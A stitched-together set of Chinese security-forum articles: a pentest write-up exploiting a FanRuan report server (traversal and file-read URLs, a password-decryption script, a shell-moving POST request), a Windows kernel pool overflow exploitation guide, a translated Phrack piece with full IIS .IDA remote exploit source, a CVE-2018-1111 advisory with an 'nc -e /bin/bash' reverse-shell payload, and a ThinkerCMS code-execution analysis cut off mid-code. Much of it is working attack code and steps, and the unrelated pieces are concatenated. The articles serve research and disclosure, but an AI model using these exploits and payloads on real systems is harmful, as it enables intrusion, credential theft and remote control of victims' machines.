百度后发现这是个帆软的报表系统的logo，怀疑是在某个二级目录下部署的，于是开始了漫长的目录扫描，发现除了是客服系统的目录外，并没有其他的收获，但是logo的变化，让我确信该站点存在其他系统，并且在信息搜集的时候意外访问过，才会导致logo的变化。
### 0x02 峰回路转
现在整理下思路，确定有个帆软的报表系统，那么就针对性的对帆软的目录结构进行爆破，这里我先是在本地搭建了一个帆软的系统，发现访问的url连接为
http://localhost:8075/WebReport/ReportServer?op=fs
默认是运行在/WebReport/的目录下，我们直接访问这个目录却提示404，这也是前期扫描器没扫出来的原因，404的问题后面也会提到。
无奈在本地系统里把帆软的目录及访问首页的连接全部做成字典，挨个进行尝试，最后发现访问`https://www.test.com:444//WebReport/ReportServer`的时候出现了帆软的界面。。
### 0x03 漏洞组合拿权限
既然已经找到了目录，并且判断出版本为8.0
这个版本是存在漏洞的，尝试了一下公开的漏洞
目录遍历
https://www.test.com:444/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../..¤tUserName=admin¤tUserId=1&isWebReport=true
任意文件读取：
https://www.test.com:444/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
成功读到了加密后的账号密码
# -*- coding: utf-8 -*- cipher = 'xxx'
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23]
Password = ""
cipher = cipher[3:]
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
print (Password)
然后利用脚本解密出来账号密码，一切顺利进入后台，然后就是插件处上传插件，上传后的插件默认在/WEB-INF/目录下，需要把文件移出来，这里参考了ADog大神的文章（`http://foreversong.cn/archives/1378`）
然后用如下数据包进行脚本移动
POST /WebReport/ReportServer?op=fr_server&cmd=manual_backup HTTP/1.1
Host: www.test.com:444
Content-Length: 106
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8
Cookie: xxx
Connection: close
optype=edit_backup&oldname=../../plugins/plugin-com.fr.plugin.external&newname=../../../data.jsp&serverID=
然后开开心心去访问shell，却发现是404，操作步骤是本地测试过的，没有问题，用前面的列目录去查看，发现shell确实移动到了/WebReport/目录下，直接访问`https://www.test.com:444/WebReport/data.jsp`
还是404，尝试该目录下的一些静态文件，也全部404，猜测是只映射了`http://www.test.com:444/WebReport/ReportServer`这一个链接出来。
### 0x04 一波三折实现命令执行
冷静下来，总结一下，我们现在有了列目录漏洞、读文件漏洞、移动文件的权限，那么开始尝试直接写计划任务反弹shell就好了，先通过列目录漏洞找到计划任务目录查看是否存在已有的计划任务，然后把弹shell的脚本替换到现有计划任务里，实现了命令执行。
等了好久却没收到shell，又是一次沉重的打击，用计划任务的命令执行写个文件看看，发现确实可以写进去，那么只能说明目标不出网或者命令被拦截了。。但依然实现了命令执行，也算是个高危报告了，系统暂时告一段落。
## 二、github源码泄露
虽然拿到了命令执行，但目标还是要进内网的，无奈翻看系统内的文件，然后在系统内某个目录的文件里发现了一个并不在测试列表里的域名，在github搜索目标域名，发现了一个仓库，里面的源码最近一次修改时6年前，且信息搜集的时候并没有发现这个系统，怀疑该系统已经下线，例行公事的去翻翻配置文件，发现了配置文件里有个泄露的邮箱，但毕竟6年了，也没抱太大希望去尝试了一下，竟然登录进去了。。
163的企业邮箱
在这个邮箱里发现了用户重置vpn密码的邮件，然后通过vpn顺利进入内网。。
## 三、总结
此次打点过程比较艰难，用了大概三天的时间，发现帆软的系统对于这次项目来说是个绝对性的突破点，主要还是要细心，如果没注意到浏览器选项卡的logo变化，可能就错过这个漏洞了。 | 社区文章 |
# 【技术分享】Windows内核Pool溢出漏洞：组合对象的Spray利用
|
##### 译文声明
本文是翻译文章，文章来源：srcincite.io
原文地址：<http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00前言**
本文，我将介绍一种基础的Windows内核pool的溢出漏洞，并如何使用混合内核对象喷射内核pool后，通过覆盖 **TypeIndex**
从而实现漏洞利用。
**
**
**0x01介绍**
在参加完BlackHat的[AWE课程](https://www.offensive-security.com/information-security-training/advanced-windows-exploitation/)之后，我想要学习发现并利用一些内核漏洞。尽管我想到了[HackSys
Extreme Vulnerable Driver
(HEVD)](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
是一个非常好的学习工具，但是对于我来说，它不合适。我一直都乐于在实际应用程序中发现并实现漏洞利用。
自参加那个课程后，我开始慢慢地开发了一个Windows内核设备驱动的fuzzer。使用这个私人的fuzzer，我发现了本文中将要介绍的漏洞。这种漏洞利用的技术不是新的，但是稍微改变下使得攻击者几乎可以利用任意大小的pool。本文主要是我自身的学习参考，希望能帮助其他人尝试pool漏洞利用。
**
**
**0x02漏洞介绍**
在测试了一些SCADA产品后，我遇到了一个第三方组件（名为 **WinDriver** ）。简单调查后，我发现这是[Jungo的DriverWizard
WinDriver](http://www.jungo.com/st/products/windriver/)。这个产品捆绑在多个SCADA产品中，而且通常是老版本的。
在安装后，它在标准windows驱动目录中安装了一个名为wndrvr1240.sys的设备驱动。简单的逆向之后，我发现了几个IOCTL码，我将这些IOCTL值插入到我的fuzzer的配置文件中。
然后，我使用命令行verifier /volatile /flags 0x1 /adddriver windrvr1240.sys启用了special
pool，并运行我的fuzzer。最终，我发现了几个可利用的漏洞，尤其是下面这个：
用户可控制的数据存储在 **[esi+ecx]**
中，它正在越界写一个内核pool。非常完美！进一步检查，我注意到这确实是个pool溢出，它是通过loc_4199D8中的内联复制操作触发的。
这个拷贝循环每次循环拷贝8个字节（一个QWORD），
且溢出了一个大小0x460（0x458+0x8字节的头）的缓冲区。拷贝的大小直接由攻击者的输入缓冲区控制。不需要整数溢出，数据没有存储在隐蔽的地方。我们可以在0x004199E8直接看见，大小是由攻击者控制的，来自于提供的缓冲区的+0x18偏移。太容易了！
**
**
**0x03漏洞利用**
现在，到了有趣的地方。通用的技术是对象TypeIndex覆盖，这种技术已经在很多场合被介绍过，它至少是6年前了，因此我不想深入太多细节。基本上就是使用任何内核对象，使你能覆盖存储在_OBJECT_HEADER中的TypeIndex。
过去使用的常见的对象是 **Event** 对象（大小是0x40）和IoCompletionReserve对象（大小是0x60）。典型的漏洞利用如下：
1.使用大小为X的对象 **喷射** pool，填充内存页
2.通过释放附近的对象在内存页中“ **打洞** ”，触发合并（coalescing）来满足目标块的大小（我们的例子中是0x460）。
3.分配并 **溢出** 缓冲区，希望命中一个“洞”，破环下一个对象的_OBJECT_HEADER，最终破环TypeIndex。
举个例子，如果你溢出的缓冲区的大小是0x200，你应该分配一堆Event对象，并释放他们中0x8个对象（0x40*0x8==0x200）。这样你就有了“洞”，在其中你能分配并溢出。因此，我们需要的内核对象的大小是我们的pool大小的模数（取模余数为0）。
问题是某些大小不能满足。举个例子，假设我们的pool大小是0x460，那么：
我们总是有余数。这意味着我们不能构造一个适合我们块的“洞”，我们能实现吗？有一些方法可以解决这个问题。一种方法是搜索一个内核对象，它能是我们目标缓冲区大小的模数。我花了一点时间来完成这个，并找到了2个其他的内核对象：
然而，这些大小是无用的，因为它们不是0x460的模数。又花了一点时间测试修改，我确定如下的模数可以满足：
太好了！0xa0可以均分0x460，但是我们怎么才能得到大小为0xa0的内核对象呢？如果我们将Event和IoCompletionReserve对象组合起来（0x40+0x60=0xa0）就能实现。
**喷射**
上述函数喷射了50000个对象。25000个Event对象和25000个IoCompletionReserve对象。在windbg中看起来非常完美：
**“打洞”**
‘IoCo’标记表示一个IoCompletionReserve对象，同时“Even”标记表示一个Event对象。注意我们首个块偏移是0x60，这是我们将要释放的起始偏移。因此我们释放几组对象，计算如下：
最终，我们会得到正确的大小。让我们快速浏览下如果只释放下7个IoCompletionReserve会是怎样。
因此，我们能看到有分隔开的被释放的内存块。但是我们想将它们合并为一个0x460的被释放的内存块。为了实现这个，我们需要设置我们块的offset为0x60（指向0xXXXXY060）。
现在，当我们运行释放函数时，我们在pool中打洞，并最终得到一个满足我们目标大小的被释放的内存块。
我们可以看到，被释放的内存块已经合并了，现在我们有个完美大小的“洞”。我们还需要做的就是分配并覆盖内存。
**溢出并“存活”**
你可能注意到了缓冲区偏移0x90处的利用中的NULL dword。
这就是需要在溢出中“存活”下来，且避免任何进一步的处理。下面的代码在拷贝循环后直接执行。
重点是代码将调用sub_4196CA。还要注意到@eax为我们的缓冲区+0x90（0x004199FA）。我们看下这个函数调用。
代码从我们的SystemBuffer+0x90中得到一个dword值，写入到被溢出的缓冲区中，然后检查它是否为null，我们能在这个函数中避免进一步处理，然后返回。
如果我们不做这个，当我们试图访问不存在的指针时将会BSOD。
现在，我们能干净的返回并无错的触发eop。关于shellcode清理，我们的溢出缓冲区存储在@esi中，因此我们能计算到TypeIndex的偏移并patch它。最后，使用NULL破坏ObjectCreateInfo，因为系统将避免使用那个指针。
**构造我们的缓冲区**
因为在每次循环中会拷贝0x8个字节，且起始索引是0x1c:
我们可以像这样做些溢出计算。假设我们想要通过44字节（0x2c）溢出缓冲区。我们将缓冲区的大小减去头，再减去起始索引偏移，加上我们想要溢出的字节数，并将它们按0x8字节分割（因为每次循环是一个qword拷贝）。
(0x460 - 0x8 - 0x1c + 0x2c) / 0x8 = 0x8d
因此，通过0x2c字节溢出缓冲区的大小是0x8d。这将破坏了pool头、quota和对象头。
我们能看到设置了TypeIndex为0x00080000。这意味着函数表将指向0x0且我们能方便的映射NULL页。
注意第二个索引是0xbad0b0b0。我觉得很开心，我能在x64上面使用相同的技术。
**在内核中触发代码执行**
在触发溢出后我们能成功执行，但是为了得到eop，我们需要设置一个指针指向0x00000074来利用OkayToCloseProcedure函数指针。
因此，0x28+0x4c =
0x74，它是我们指针需要的位置。但是怎么调用OkayToCloseProcedure？它是一个注册的aexit处理函数。因此为了触发代码执行，只需要释放“损坏”的IoCompletionReserve。我们不知道哪个句柄关联着溢出块，因此我们将它们全部释放。
运行截图如下：
**
**
**0x04时间线**
2017-08-22 – 验证并通过邮件{sales,first,security,info}@jungo.com.发送给Jungo 。
2017-08-25 – Jungo没有回应。
2017-08-26 – 试图通过网站联系供应商
2017-08-26 – 通过网站联系无回应
2017-09-03 – 收到Jungo的邮件，表明他们正在调查
2017-09-03 – 请求补丁开发时间并发布可能的0day警告
2017-09-06 – 没有回应
2017-09-06 – 发布0day安全公告
**0x05总结**
使用这个方式的利用的块大小是 <
0x1000。正如上文所述，这不是新的技术，只是针对已有技术稍微变化，如果我坚持使用HEVD来学习，我将不会发现这种技术。话虽如此，使用已经存在漏洞的驱动并从中开发漏洞利用技术也是非常有价值的。
**0x06参考**
<https://github.com/hacksysteam/HackSysExtremeVulnerableDriver>
[http://www.fuzzysecurity.com/tutorials/expDev/20.html](http://www.fuzzysecurity.com/tutorials/expDev/20.html)
[https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-Slides.pdf](https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-Slides.pdf)
[https://msdn.microsoft.com/en-us/library/windows/desktop/ms724485(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms724485\(v=vs.85\).aspx)
[https://www.exploit-db.com/exploits/34272](https://www.exploit-db.com/exploits/34272) | 社区文章 |
## 前言
* * *
前些天和朋友在玩War3的时候，登陆了某平台，打开了某平台后里面的中文字符全部变成了？？？，顿时想起我装的的英文版系统，编码出现了问题。回头一想shellcode的内存中是不是也会出现这样的情况。便查了查资料，总结了一下。文章分3部分，前两部分是一篇文章的翻译，之所是翻译我觉得在这方面的知识点，那篇文章已经讲的相对完备了，我觉得没必要画蛇添足又变成自己的“东西”。第3部分是我具体的调试过程。
（1）（2）部分原文链接：<http://phrack.org/issues/61/11.html#article>
## Introduction
* * *
在利用缓冲区溢出时，我们有时候得面对一些难题：字符转换。在进行漏洞利用的实际情况中，漏洞程序可能会通过设置大小写、删除非数字或字母的字符等修改我们构造的缓冲区，使我们的shellcode无法正确运行。这篇文章所说的便是C-Type(以0结尾的字符穿)字符串和Unicode的转变问题。
我们来思考一个情况：
你给一个带漏洞的服务器发送了一些数据，这些数据由ASCII编码，后由于兼容性的原因你的字符被转换为unicode，然后你发送的数据的缓冲区便发生了溢出。
例如，发送了这样一组数据：
4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !...
0000 0000 0000 0000 0000 0000 0000 0000 ................
然后会转变成：
4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o.
7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!.......
然后，bang~~~，产生溢出（Yeah~~~，我知道我的例子很傻）
在Win32平台下，一个进程通常从00401000开始，这样便有可能使用如下的返回地址破环EIP：
????:00??00??
虽然会产生这样的字符转换，但对漏洞利用依然是可能的，但是获得一个可用的shellcode将会困难得多。有一种可能的办法是多次用未经格式化的数据填充堆栈，然后进行缓冲区溢出，并使其返回到相应编码的shellcode中。但是在这里，我们假设所有的缓冲区都是unicode，所以这种办法是不可行的，更不用说我们还不能确定汇编代码会不会顺利执行。所以我们需要找到一种方法来构建一个结局这样的shellcode转型。
我们需要找到包含空字节的操作码来构建我们shellcode。
这里有一个例子，虽然比较老了，但是它就是一个即使缓冲区被破坏，漏洞利用也可以进行的例子。
---------------- CUT HERE -------------------------------------------------
/*
IIS .IDA remote exploit
formatted return address : 0x00530053
IIS sticks our very large buffer at 0x0052....
We jump to the buffer and get to the point
by obscurer
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
void usage(char *a);
int wsa();
/* My Generic Win32 Shellcode */
unsigned char shellcode[]={
"\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41"
"\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F"
[......]
[......]
[......]
"\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01"
"\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"};
int main (int argc, char **argv)
{
int sock;
struct hostent *host;
struct sockaddr_in sin;
int index;
char *xploit;
char *longshell;
char retstring[250];
if(argc!=4&&argc!=5) usage(argv[0]);
if(wsa()==FALSE)
{
printf("Error : cannot initialize winsock\n");
exit(0);
}
int size=0;
if(argc==5)
size=atoi(argv[4]);
printf("Beginning Exploit building\n");
xploit=(char *)malloc(40000+size);
longshell=(char *)malloc(35000+size);
if(!xploit||!longshell)
{
printf("Error, not enough memory to build exploit\n");
return 0;
}
if(strlen(argv[3])>65)
{
printf("Error, URL too long to fit in the buffer\n");
return 0;
}
for(index=0;index<strlen(argv[3]);index++)
shellcode[index+139]=argv[3][index]^0x20;
memset(xploit,0,40000+size);
memset(longshell,0,35000+size);
memset (longshell, '\x41', 30000+size);
for(index=0;index<sizeof(shellcode);index++)
longshell[index+30000+size]=shellcode[index];
longshell[30000+sizeof(shellcode)+size]=0;
memset(retstring,'S',250);
sprintf(xploit,
"GET /NULL.ida?%s=x HTTP/1.1\nHost: localhost\nAlex: %s\n\n",
retstring,
longshell);
printf("Exploit build, connecting to %s:%d\n",argv[1],atoi(argv[2]));
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
printf("Error : Couldn't create a socket\n");
return 0;
}
if ((inet_addr (argv[1]))==-1)
{
host = gethostbyname (argv[1]);
if (!host)
{
printf ("Error : Couldn't resolve host\n");
return 0;
}
memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr,
(unsigned long *)host->h_addr,
sizeof(host->h_addr));
}
else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]);
sin.sin_family=AF_INET;
sin.sin_port=htons(atoi(argv[2]));
index=connect(sock,(struct sockaddr *)&sin,sizeof(sin));
if (index==-1)
{
printf("Error : Couldn't connect to host\n");
return 0;
}
printf("Connected to host, sending shellcode\n");
index=send(sock,xploit,strlen(xploit),0);
if(index<1)
{
printf("Error : Couldn't send trough socket\n");
return 0;
}
printf("Done, waiting for an answer\n");
memset (xploit,0, 2000);
index=recv(sock,xploit,100,0);
if(index<0)
{
printf("Server crashed, if exploit didn't work,
increase buffer size by 10000\n");
exit(0);
}
printf("Exploit didn't seem to work, closing connection\n",xploit);
closesocket(sock);
printf("Done\n");
return 0;
}
---------------- CUT HERE -------------------------------------------------
在这个例子中，为漏洞利用所构造的字符串是：
"GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n"
如果[BUFFER]足够大，EIP就会被[BUFFER]的内容所覆盖。但是我注意到溢出发生的时候,[BUFFER]里的内容汇编转化为Unicode。有趣的是原来[ANY]是一个空的ASCII缓冲区，但映射到内存的时候变为：0053000….
所以我把[BUFFER]设置为”SSSSSSSSS”（S = 0x53）
在转换之后它变为：
...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53...
EIP被覆盖为0x00530053，IIS会returned到[ANY]周围。有一个执行shellcode的可行的办法，我在[ANY]中放置一大串A,然后在它的末尾放置我的shellcode。但是如果我们没有清理缓冲区，我们无法在内存中放置shellcode。我们需要找到其他的解决办法。
## Our Instructions Set
* * *
我们的要始终有一个意识：我们不用绝对地址来使用call，jump…因为我们要确保shellcode的通用性。首先我们来查看一下我们还有哪些Opcode可以使用，
下文中：r32代表32位寄存器（eax,esi,ebp）
r8代表16位寄存器（ah,bl,cl）
### UNCONDITIONAL JUMPS (JMP)
JMP可能的操作码是EB和E9以进行相对跳转，我们不能使用它们，虽然它们可以跟随00但是这样做没有意义（00表示跳到下一个字节）。
FF和EA是绝对跳转，这些操作码不能跟随00，除非我们想跳到一个已知的地址，我们不会这样做将意味着我们的shellcode包含编码地址。
### CONDITIONAL JUMPS (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...)
远跳转的语法不能使用，因为它需要2个连续的非空字节。 由于opcode不能是00的原因，不能使用近跳转。.另外，JMP r32是不可能的。
### LOOPs (LOOP, LOOPcc : LOOPE, LOOPNZ..)
同样的问题：E0或E1或E2是LOOP的opcode，他们必须跟在后面要交叉的字节数...
### REPEAT (REP, REPcc : REPNE, REPNZ, REP + string operation)
所有这些都是不可能的，因为这些指令都是以两个字节的opcode开始的。
### CALLs
只有相对偏移地址的调用可以使用：
E8 ????????
在我们的例子中下，我们有：
E8 00 ?? 00？ （每个??！= 00）
但是我们不能使用这个，因为我们的call将至少再增加01000000字节.....
当然CALL r32也是不可行的。
### SET BYTE ON CONDITION (SETcc)
它的指令需要2个非nul字节。 （例如，SETA是0F 97）。
HU~~~OH~~~这比想象中的还要难，而且我们甚至没有任何条件可以进行测试。更苛刻的是我们甚至没办法控制自己代码的执行流程： Jumps、Calls
都不能调用, 也没有Loops和 Repeats.
那么，我们该怎么办呢？
实际上我们有很多的NULL，这些东西可以对EAX寄存器进行很多操作。在使用EAX,[EAX],AX等作为操作数时，它通常16进制的编码为00。我们试试来对EAX进行操作:
## SINGLE BYTE OPCODES
* * *
我们可以使用任何单字节opcode，所以我们可以对任何寄存器进行INC或DEC操作，当然以寄存器作为操作数XCHG和PUSH / POP也是可行的。
比如：
XCHG r32,r32
POP r32
PUSH r32
### MOV
8800 mov [eax],al
8900 mov [eax],eax
8A00 mov al,[eax]
8B00 mov eax,[eax]
完全不能用。
A100??00?? mov eax,[0x??00??00]
A200??00?? mov [0x??00??00],al
A300??00?? mov [0x??00??00],eax
这些也没用，因为我们不硬编码地址。
B_00 mov r8,0x0
A4 movsb
也许我们可以使用这些：
B_00??00?? mov r32,0x??00??00
C600?? mov byte [eax],0x??
可能对内存的修改有用。
### ADD
00__ add [r32], r8
寄存器作为指针时，我们都可以在内存中添加字节：
add r8,r8
可能是一个修改寄存器的办法。
### XOR
3500??00?? xor eax,0x??00??00
可能是修改EAX寄存器的一种方法。
### PUSH
6A00 push dword 0x00000000
6800??00?? push dword 0x??00??00
只有这个可以做到。
## Possibilities
* * *
首先我们必须摆脱一个小细节：事实上，我们需要谨慎对待代码中样的0x00，因为如果您从覆盖的EIP返回到ADDR：
... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ...
||
ADDR
但是return到ADDR和ADDR+1是完全不同的，不过我们可以使用类似于“NOP”的结构：
0400 add al,0x0
因为：000400是：
add [2 * eax]，al，
add [2 _eax]，al，我们可以跳到我们想要的任何地方，并且我们不会因为是否落在00上而被影响。
但是这需要2 _ eax作为一个有效的指针。
同样的：
06 push es
0006 add [esi],al
0F000F str [edi]
000F add [edi],cl
2E002E add [cs:esi],ch
002E add [esi],ch
2F das
002F add [edi],ch
37 aaa
0037 add [edi],dh
我们要小心这个对齐问题。
接下来，我们再看看还可以做什么：
XCHG，INC，DEC，PUSH，POP 32位寄存器可以直接使用,我们可以设置一个寄存器（r32）为00000000：
push dword 0x00000000
pop r32
注意EAX可以和任何寄存器配合完成XCHG指令,如下我们可以给EDX的00赋值：
mov edx,0x12005600 ; EDX = 0x12005600
mov ecx,0xAA007800
add dl,ch ; EDX = 0x12005678
我们可以为EAX设置任何值，我们可以在堆栈中使用一些小技巧：
mov eax,0xAA003400 ; EAX = 0xAA003400
push eax
dec esp
pop eax ; EAX = 0x003400??
add eax,0x12005600 ; EAX = 0x123456??
mov al,0x0 ; EAX = 0x12345600
mov ecx,0xAA007800
add al,ch
; finally : EAX = 0x12345678
特别提醒：可能我们也会需要设置一些00，如果我们想让一个0x00代替0x12，比如我们只要添加0x00120056到寄存器，我们只要简单得把0x56加到ah就行了：
mov ecx,0xAA005600
add ah,ch
如果我们想要0x00而不是0x34，那么我们只需要一开始EAX = 0x00000000就可以 。
如果我们想要一个0x00而不是0x56，那么通过向其中添加0x100 - 0x56 = 0xAA：
; EAX = 0x123456??
mov ecx,0xAA00AA00
add ah,ch
也许如果你没有想过可以这样做，但是记住你可以通过这个跳到指定位置（假设地址在EAX中）：
50 push eax
C3 ret
你可以在无计可施的情况下使用这个技巧。
* * *
这部分作者向我们一步步分析了，在unicode编码的情况下，我们要编写shellcode还有哪些opcode可以使用，可以用的部件已经有了，接下来就是拼凑这些东西。 | 社区文章 |
# DynoRoot：Red Hat DHCP客户端命令执行漏洞(CVE-2018-1111)预警
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告编号： B6-2018-051601
报告来源： 360-CERT
报告作者： 360-CERT
更新日期： 2018-05-16
## 0x00 漏洞概述
近日，红帽官方发布了安全更新，修复了编号为CVE-2018-1111的远程代码执行漏洞，攻击者可以通过伪造DHCP服务器发送响应包，攻击红帽系统，获取root权限并执行任意命令。
目前相关利用代码已经公开，可用于本地网络攻击；360-CERT此漏洞进行了技术分析，认为该漏洞危害等级严重，建议使用相关用户尽快进行更新。
## 0x01 漏洞影响面
#### 影响版本
* Red Hat Enterprise Linux Server 6
* Red Hat Enterprise Linux Server 7
* CentOS 6
* CentOS 7
#### 修复方案
* 受影响产品的更新
* 软件包更新
#yum update dhclient
#rpm -qa --changelog dhclient | grep CVE-2018
- Resolves: #1570898 - Fix CVE-2018-1111: Do not parse backslash as escape character
## 0x02 漏洞详情
DHCP 是一个局域网的网络协议，主要用于内部网络动态IP地址分配。
Red
Hat提供的DHCP客户端软件包dhclient的脚本为`/etc/NetworkManager/dispatcher.d/11-dhclient`（Red
Hat Enterprise Linux 7）和`/etc/NetworkManager/dispatcher.d/10-dhclient`（Red Hat
Enterprise Linux 6）；当NetworkManager组件从DHCP服务器收到DHCP响应时执行该脚本。
使用单引号使参数值逃逸成功，导致了命令执行
--dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
## 0x03 时间线
**2018-05-16** RedHat 官方发布更新公告
**2018-05-16** 360-CERT对漏洞进行评估，发布预警通告
## 0x04 参考链接
1. <https://access.redhat.com/errata/RHSA-2018:1458>
2. <https://twitter.com/_fel1x/status/996388421273882626>
3. <https://dynoroot.ninja/> | 社区文章 |
来源：[先知安全技术社区](https://xianzhi.aliyun.com/forum/read/2084.html
"作者：FaIth4444@先知安全技术社区")
作者：FaIth4444
#### 漏洞描述
ThinkerPHP，由 thinker 开发维护。基于 thinkphp3.2
开发的一款部分开源的cms系统，前期是仿的phpcms系统，后在在模仿基础上对界面等做了优化。
thinkphp3.2 的优势在于相对应 phpcms 用更少的代码实现更多的功能，
基于命名空间的相对较新的架构以及拥有更好的底层扩展性。ThinkerPHP希望融合phpcms和thinkphp3.2的优点并志在收获一个扩展性好、开发效率高、用户体验佳、底层扩展性好的快速开发系统。在开发过程中作者一直秉承专注、专业、专心的精神，不断完善。
ThinkerCMS1.4 （最新版）`InputController.class.php` 页面由于对 `$_POST`
等参数没有进行有效的判断和过滤，导致存在任意代码执行漏洞，允许攻击者利用漏洞全完获取Webshell权限。
#### 溯源发现危险代码块
###### ① 漏洞触发位置
文件位置： `D:\WWW\Modules\Plug\Controller\InputController.class.php` （67行）
触发函数： `public function cropzoomUpload()`
public function cropzoomUpload()
{
if(session("userinfo")==NULL)E('没有登陆！');
load('@.cropzoom');
list($width, $height) = getimagesize($_POST["imageSource"]);
$viewPortW = $_POST["viewPortW"];
$viewPortH = $_POST["viewPortH"];
$pWidth = $_POST["imageW"];
$pHeight = $_POST["imageH"];
$ext = end(explode(".",$_POST["imageSource"]));
$function = returnCorrectFunction($ext);
$image = $function($_POST["imageSource"]);
$width = imagesx($image);
$height = imagesy($image);
// Resample
$image_p = imagecreatetruecolor($pWidth, $pHeight);
setTransparency($image,$image_p,$ext);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $pWidth, $pHeight, $width, $height);
imagedestroy($image);
$widthR = imagesx($image_p);
$hegihtR = imagesy($image_p);
$selectorX = $_POST["selectorX"];
$selectorY = $_POST["selectorY"];
if($_POST["imageRotate"]){
$angle = 360 - $_POST["imageRotate"];
$image_p = imagerotate($image_p,$angle,0);
$pWidth = imagesx($image_p);
$pHeight = imagesy($image_p);
//print $pWidth."---".$pHeight;
$diffW = abs($pWidth - $widthR) / 2;
$diffH = abs($pHeight - $hegihtR) / 2;
$_POST["imageX"] = ($pWidth > $widthR ? $_POST["imageX"] - $diffW : $_POST["imageX"] + $diffW);
$_POST["imageY"] = ($pHeight > $hegihtR ? $_POST["imageY"] - $diffH : $_POST["imageY"] + $diffH);
}
$dst_x = $src_x = $dst_y = $src_y = 0;
if($_POST["imageX"] > 0){
$dst_x = abs($_POST["imageX"]);
}else{
$src_x = abs($_POST["imageX"]);
}
if($_POST["imageY"] > 0){
$dst_y = abs($_POST["imageY"]);
}else{
$src_y = abs($_POST["imageY"]);
}
$viewport = imagecreatetruecolor($_POST["viewPortW"],$_POST["viewPortH"]);
setTransparency($image_p,$viewport,$ext);
imagecopy($viewport, $image_p, $dst_x, $dst_y, $src_x, $src_y, $pWidth, $pHeight);
imagedestroy($image_p);
$selector = imagecreatetruecolor($_POST["selectorW"],$_POST["selectorH"]);
setTransparency($viewport,$selector,$ext);
imagecopy($selector, $viewport, 0, 0, $selectorX, $selectorY,$_POST["viewPortW"],$_POST["viewPortH"]);
//获取图片内容
//var_dump($_POST);
ob_start();
parseImage($ext,$selector);
$img = ob_get_contents();
ob_end_clean();
if(filter_var($_POST["imageSource"], FILTER_VALIDATE_URL))
{
$urlinfo=parse_url($_POST["imageSource"]);
$path=$urlinfo['path'];
$pathinfo=pathinfo($path);
}
else
{
$path=$_POST["imageSource"];
$pathinfo=pathinfo($_POST["imageSource"]);
}
$file_name=$pathinfo['filename'].'_crop.'.$pathinfo['extension'];//剪切后的图片名称
$file_path='.'.$pathinfo['dirname'].'/'.$file_name;
file_put_contents($file_path, $img);
echo C('upload_host').$pathinfo['dirname'].'/'.$file_name;
imagedestroy($viewport);
}
在这里我们可以观察发现 `public function cropzoomUpload()` 函数的大概操作流程:
1.接受了包括
`$_POST["viewPortW"]`，`$_POST["viewPortH"]`，`$_POST["imageSource"]`等一系列的图片剪切的参数
2.使用这些参数，并调用php-GD库对图片进行渲染和处理
3.将处理后的图片输出到缓冲区，将缓冲区作为图片的内容
4.然后将再根据`$_POST["imageSource"]`参数进行pathinfo处理，将结果存到`$pathinfo`，并组合成为写文件的路径`$file_path`
5.将缓冲区内容通过file_put_contents写入指定的$file_path（此处直接写入Webshell，获取Web权限）
###### ② ByPass （绕过文件后缀名检测，绕过php-GD对图片的渲染和处理导致webshell代码错位失效）
绕过文件后缀名检测 cropzoom 图片剪切相关的函数
文件位置: D:\WWW\Modules\Plug\Common\cropzoom.php
<?php
/*
* cropzoom 图片剪切相关的函数
*/
function determineImageScale($sourceWidth, $sourceHeight, $targetWidth, $targetHeight) {
$scalex = $targetWidth / $sourceWidth;
$scaley = $targetHeight / $sourceHeight;
return min($scalex, $scaley);
}
function returnCorrectFunction($ext){
$function = "";
switch($ext){
case "png":
$function = "imagecreatefrompng";
break;
case "jpeg":
$function = "imagecreatefromjpeg";
break;
case "jpg":
$function = "imagecreatefromjpeg";
break;
case "gif":
$function = "imagecreatefromgif";
break;
}
return $function;
}
function parseImage($ext,$img){
switch($ext){
case "png":
return imagepng($img);
break;
case "jpeg":
return imagejpeg($img);
break;
case "jpg":
return imagejpeg($img);
break;
case "gif":
return imagegif($img);
break;
}
}
function setTransparency($imgSrc,$imgDest,$ext){
if($ext == "png" || $ext == "gif"){
